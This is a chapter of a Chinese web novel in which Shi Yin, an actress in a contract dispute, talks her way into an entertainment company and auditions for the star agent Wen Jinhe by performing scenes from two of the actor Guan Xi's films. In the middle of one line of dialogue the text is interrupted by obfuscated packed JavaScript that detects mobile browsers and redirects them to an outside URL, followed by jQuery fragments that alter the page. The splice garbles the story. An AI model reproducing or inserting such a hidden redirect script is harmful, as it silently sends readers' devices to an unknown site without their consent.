时音双手托腮，盯着任务面板思考片刻。
她拉开抽屉，里面有厚厚一沓名片，都是在外面逛荡的时候收到的，来自檀城各路星探和MCN网红公司，有些上面做了记号，有些还是新的。时音翻翻捡捡，挑出一张。
「星曜娱乐匡文森」
时音从通讯录里找到人，神情木然，毫无灵魂地敲出一串热情洋溢的文字：
「文~森~哥~^_^」
~
恒星大楼。
“我们公司主要在二三层，整个三楼都是直播间，包括团播和个播，还有账号、数据、商务这类后台部门，”匡文森领着时音通过门禁，边走边介绍，“二楼是传统的影视部门，这两年拍拍短剧，做做综艺，成绩也不错，你说我在哪加的你？”
“上周你连线新主播，我发了照片应聘的，”时音眼睛弯弯，掐着嗓子不熟练地夹了一下，“文森哥~你忘了呀~你还让我私信你来着。”
“噢对对！有印象，我想起来了！”
匡文森其实早就不记得了，他是负责招主播的，每天加的帅哥美女没100也有80，有栆没枣打一杆子，通通拉（忽悠）来线上签约，收到时音消息时他挺意外的，还是第一次碰到要来线下参观的。
时音挠挠脸颊，娇滴滴地问：“文森哥~听说星耀的背后是恒星文化，真的吗？”
匡文森点头：“没错。”
“哇，那文森哥你超厉害哒！”时音呱唧呱唧鼓掌，背过头皱了皱脸，有被自己肉麻到。
“一般一般，”匡文森被甜甜的小姑娘恭维得浑身舒坦，话匣子不由打开了，“去年爆火的综艺《迷影歌王》和《今夜舞不停》看过吧，都是由恒星制作，海鸥□□家播放的。”
“星曜虽然是恒星的子公司，但我们办公楼是共用的呀，你看，”匡文森指了指窗外，一栋设计摩登，通体银色的高楼，“对面就是海鸥卫视，这地理位置，绝了。”
海鸥卫视是越省官方电视台，总部位于檀城市中心，是当地的地标建筑。
时音殷勤地拍了记马屁：“当然啦！《迷影歌王》超火的，我们全家都蹲着点看的，据说巅峰之夜的收视率有5.6吧？”
匡文森竖起一根手指，严谨地纠正：“5.673。”
两人说着话，下到二楼，明亮的落地玻璃窗内，一群青春靓丽的女生正对镜练舞，伴随动次打次的激烈鼓点和音乐，扭腰，送胯，甩头，表情妩媚可爱，动作整齐划一。
漂亮姐姐过于吸睛，时音不由多看了两眼：“这些也是主播吗？”
匡文森颇为得意地说：“她们是新签的练习生，下半年会去参加选秀综艺《加油！偶像》，星曜有三个保底出道位，只要能成团，红就是一晚上的事。”
“红了以后呢？”时音问。
红了以后，就可以割韭菜了呗，匡文森心想。
他轻咳两声，故作正经地说：“公司每年会提供打歌舞台和多档团综，还会送她们去演网剧，播得好的话，三五年就可以转型做演员了。”
果然娱乐圈的尽头是演员，这些经纪公司画的大饼都是一个味的。时音心里好笑，面上却一派天真地问：“那为什么不直接当演员呢？”
匡文森笑而不语，too young too naive（太年轻太天真），影视圈如果这么好混的话，人人都去做208w了。
“你要有兴趣，我可以帮你推荐推荐，我也是认识几个大经纪的。”
“真的吗文森哥~”时音得寸进尺，厚着脸皮追问，“我也可以签大经纪吗？”
“这个……”匡文森卡了下壳，吹吹牛逼而已，怎么还当真了？
“你放心，星曜是大公司，只要你签约了，不管想做主播还是当演员，我们都会为你量身打造发展路线。”匡文森吹得天花乱坠，心里却不以为然。小丫头片子，以为自己哪棵葱呢？还大经纪，只要签了约他的kpi就完成了，管你有没有经纪人。
手机叮铃响，匡文森低头一看，立马接了起来：“哎，吴总监，在呢我在呢，好马上来！”
时音十分有眼色地朝他摆手：“文森哥你先忙吧，我准备回去了。”
“那行，你坐电梯下去，我们回聊哈。”匡文森应该有急事，随口敷衍一句，匆匆离开。
等人走远了，时音收起刻意卖乖的笑容，双手插兜，转了个身往回走。
她进了办公区，明目张胆地逛起来，态度自然得仿佛是自家的公司，一时之间竟也没人察觉她是个外来者，可惜运气不佳，晃了一圈没找到想找的人。
道路尽头是扇员工门，旁边有个女生在接水，时音瞄一眼她的头顶，语气熟稔地说：“芮琳，能帮我刷下卡吗？我打个电话。”
小姐姐愣了一下，因为时音准确地喊出了她的名字，友好地回道：“哦，好啊。”
等时音过去了，她还在原地疑惑：“新同事？好像没见过……”
时音脚底生风，溜得飞快。她刚问了人，知道二楼连廊那儿有个露天花园，视野好又安静，恒星的人偶尔也会过来放风，皇天不负有心人，在葱郁的绿植掩映间，时音发现了目标。
一名三十来岁，身材高挑的女人，穿着真丝飘带衬衫，香槟色西装裤，姿态放松地靠在栅栏边，她指间夹着燃烧的烟，正垂眸看向手机。
女人有张瘦削的脸，颧骨偏高，眼型狭长，初见面会给人留下过于强势的印象。
“文姐，您好。”时音主动上前打招呼。
文锦荷，恒星资深经纪，影帝关席的前经纪人。关席是金鸡和百花双料影帝，距离内地三大奖仅一步之遥，和其他大经纪不同，文锦荷手里有且仅有关席一名艺人，说是他的专属经纪人也不为过。两人刚搭档的时候一穷二白，是文锦荷把关席从地下室的nobody（无名小卒）一路捧到影帝，关席也是业内少有好口碑，零绯闻的男艺人。
上个月关席合约期满，有小道消息传他打算跳槽到京城大经纪李霂北旗下，没想到竟成了真。
关席明面上没有和恒星续约，其实本质就是没有和文锦荷续约，有传闻说两人闹掰了。据说关席早就受不了经纪人过于霸道，不仅剥夺他选剧本的权利，还试图操控他的私生活，关席不止一次在采访里透露自己状态疲惫，亟需休息。
文锦荷以为时音是公司哪个艺人，漫不经心地点了下头。
时音有点紧张，缓缓吐了口气，才说出石破天惊的话：“我想请您做我的经纪人。”
文锦荷按手机的动作顿住，掀起眼皮看她片刻：“不好意思，你哪位？”
“我叫时音，现在是名演员……”
“Stop（停），”文锦荷打断了她，“你误会了，我不是请你自我介绍，也没有兴趣浪费时间，leave me alone（让我一个人），可以吗？”
时音没有被吓退，她迅速调整好心态，单刀直入道：“您是大经纪，就算现在手里没人，但这种情况不会持续太久，所以我想毛遂自荐，与其签别人，不如选我，我不会让您失望的。”
文锦荷的眼神一下子锐利起来：“你调查过我？我很反感这种行为。”
“没有调查……”时音眼睁睁看着文锦荷的好恶值从0降到-2，连忙否认道，“我是偶然知道的。”
偶然抽到的，她在心里补充。
文锦荷无动于衷，她最近的确在挑人，可惜都不合胃口。文锦荷目标明确，想超越关席的成就，就得找最好的苗子，顶级的天赋，出色的情商，抗压的心态，三者缺一不可。
“漂亮话谁都会说，我为什么要选你？”文锦荷双手环胸，以一种挑剔的眼光，上上下下打量时音，“脸蛋……还可以，但感觉太平了，容易形成单一的风格，你是檀城人吧？看起来像只很好捏的包子，温柔有余，气场不足。”
时音：“……”
刻板印象，绝对是刻板印象！檀城人怎么啦！吃你家大米啦？咋还地域歧视呢！
“檀城人也可以很多元，”时音保持微笑道，“我可以向您证明。”
“Do it（来吧）.”文锦荷做了个请的手势，低头看了眼表，“我可以给你……五分钟。”
不夸张地说，文锦荷的强硬是灭霸级别的，在巨大的心理压力下，很少有人能保持从容。时音心底产生了微妙的局促感，仿佛回到一无是处的童年，那个笨拙的自己在镜头的逼迫下无所遁形，最后羞愧地垂下脑袋……
——是时候表演真正的技术了。
时音深吸口气，往前一步道：“能借支烟吗？”
文锦荷将烟盒抬高几寸，时音抽出一支细长的女士烟，低下头轻轻咬住，就着文锦荷的烟嘴点燃，动作暧昧又挑逗，白皙的指尖有意无意摩挲她的手背。
“！！”文锦荷眉心拧成结，一下子沉了脸。她可不好这一口！！
没等她开口训斥，时音往栏杆一靠，扬了扬下巴，她眼眸似醉非醉，秀眉微蹙又分开，荡漾出妩媚的风情：“听说男人的两大爱好，劝妓从良，逼良为娼，这位长官，不知道你是哪种？”
时音呷了口烟，朝对面呼出，娇美的面孔在白雾中若隐若现：“哟，呛着你啦？别生气嘛，我自重，自重还不行吗？不过你可得早些习惯，这秦淮河上只有风
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453886|185286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
月，没有刀兵。”
她嘴里讲着吴侬软语，眼波流转地调戏面前的男人，突然倾身，白皙的脸颊仿佛贴上军官的胸膛：“别躲，我在数你的心跳呢……”
时音右手夹烟，在外人看不到的角落，左手一下一下，时长时短，有节奏地敲击着。
摩斯电码！
“你不如猜猜……我现在敲的是「今夜动手」，还是「我好中意你」？”
文锦荷的表情有了明显的波动，这是关席拿下百花影帝的电影，谍战片《瞻园枪声》。里面的女二是名风尘女间谍，她记得当时的选角并不太符合，好在演员本身实力过人，用演技弥补了缺陷，但在剧本改编的小说里，编剧还是坚持初心，把女间谍描写得年轻美艳，一颦一笑都勾人心魄。
“你学过摩斯电码？”文锦荷冷不防开口。
“看完《瞻园枪声》后，觉得有意思就学了，我记东西很快的，”时音见缝插针，不忘夸自己一句，“这部电影是关影帝演艺生涯的转折点，挑本子的人很有眼光。”
文锦荷耸了耸肩，未置可否。
因为这部戏，她和关席大吵一架，最后是她按着他的头强逼他接的。
“呃……”时音小声提醒，“我应该还有两分钟。”
文锦荷回过神，点了点头：“一分四十五秒。”
时音把烟伸出栅栏，任其徐徐燃烧，重新酝酿情绪。片刻后，她抬起头，露出一个毫无阴霾的笑容，带着不谙世事的纯粹：“叔叔好，我在建一座城堡。”
“嗯，我喜欢一个人玩。”时音点点头，拍了拍“城堡”的墙壁。
忽然，她的动作停下来，那双清澈得不含一丝杂质的眼睛，平静地望向前方，阳光照在她的脸上，让她看起来像个小天使。
“叔叔，你喜欢玩‘一二三木头人’吗？”
时音语气轻快，似乎在分享一个有趣的游戏：“就是那种，一个人回头的时候，其他人绝对不能动的游戏。动了，就输了。”
她拍了拍手上的“沙子”，仰起脑袋，脸上依然挂着天真无邪的微笑，但眼神里确有什么东西沉淀下来，变得深不见底。
时音踮起脚尖，像是凑到某人耳边，用气声清晰而缓慢地说：
“叔叔……”
她停顿了一下。
“……我看到了哦。”
“我没有告诉警察叔叔！”
时音高兴地举起手，嘴角咧得大大的，转身蹦蹦跳跳地跑向“滑梯”。
——《完美证人》。
文锦荷心道。
同样是关席的电影，这一部则助他拿下金鸡影帝。片中的恶童目睹男主一切罪行，却没有选择揭发，在他说完这句话后，男主愣在原地，眼神里充满了极致的恐惧和难以置信，以及一种比被警察逮捕更深沉的绝望。他明白了，沉默不是救赎，而是另一场更漫长，更私人，更无法预知的审判的开始。
影片就此戛然而止，给人留下无数暗黑的遐想：男主最后会自首吗？恶童践踏了生命的底线，会不会成长为下一个杀人狂魔？
电影里的恶童只有十岁，且是个小男孩，时音的年纪和性别都不符合，但她把那种纯真残忍的神态诠释得很好，并没有让文锦荷觉得出戏。
时音的目的性极强，选的都是跟关席有关的桥段，文锦荷自然能评判好坏。
“All right（好吧），”她没有给出评价，只是问，“你是星曜还是恒星的？”
“嗯……”时音想了想，还是诚实地说，“都不是，我有点合同纠纷，目前还在解约中。”
文锦荷没说什么，打开微信二维码：“一个月内，把你的问题处理好，我给你一次重新约我的机会，过期不候。”
“好嘞。”时音痛快地扫了码。
她没指望文锦荷第一次见她，就被迷得神魂颠倒非她不签，她没有那么自恋。人嘛，总要先认识，再发展，再说其他，这回留个好印象，下次就有别的可能，为了达到目的，多试几条路也没什么不好的。
时音发送完好友请求，满怀期待地盯着文锦荷的背影。
只见文锦荷头上的刻度尺摇摇摆摆，最后停在了+1处。
时音：“？”
不是，文姐你的好感值这么难刷？
时音呆住了，失去灵魂地把烟送进嘴里。
“咳咳——！！”
她其实不会抽烟，刚才只是装样子，这一口吸得猛了，激得咳嗽连连。
咳着咳着，时音慢慢弯下腰，无声地笑起来。
两年了，至少她没有深陷低谷，至少有了重新开始的机会，挺好挺好。